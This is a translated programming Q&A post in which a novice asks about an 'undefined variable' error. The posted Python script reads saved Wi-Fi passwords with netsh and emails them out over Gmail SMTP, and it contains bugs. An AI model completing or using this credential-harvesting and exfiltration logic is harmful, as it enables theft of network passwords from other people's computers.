名称key_results可以是未定义的Python

如何解决名称key_results可以是未定义的Python

我正在尝试让我的代码获取WIFI密钥内容，然后通过电子邮件将其发送给自己，但是当我运行该程序时，它说名称key_results可能不确定。我尝试通过做key_results = " "使其一开始就成为一个空的变量，但随后出现错误“ expected str,bytes or os.pathLike object,not list”，我是python新手，如果代码不好，抱歉！

import subprocess
import smtplib
import ssl
import time

data = subprocess.check_output(["netsh","wlan","show","profiles"]).decode("utf-8").split("\n")
print("data found")

wifis = [line.split(":")for line in data if "All User Profile" in line]

for wifi in wifis:
    key_results = subprocess.check_output(["netsh","profile",wifis,"key=clear"]).decode("utf-8")
    print("key results found")
else:
    print("error finding key results")


smtp_server = "smtp.gmail.com"
port = "587"
sender_email = "fakeemail2@gmail.com"
sender_password = "fakepass"
receiver_email = "fakegmail@gmail.com"
your_message = key_results
context = ssl.create_default_context()

try:
    with smtplib.SMTP(smtp_server,port) as server:
        server.ehlo()
        server.starttls(context=context)
        server.ehlo()
        server.login(sender_email,sender_password)
        server.sendmail(sender_email,receiver_email,your_message)
        print("Email Sent")

except:
    print("something went wrong")
    time.sleep(3)
    quit()
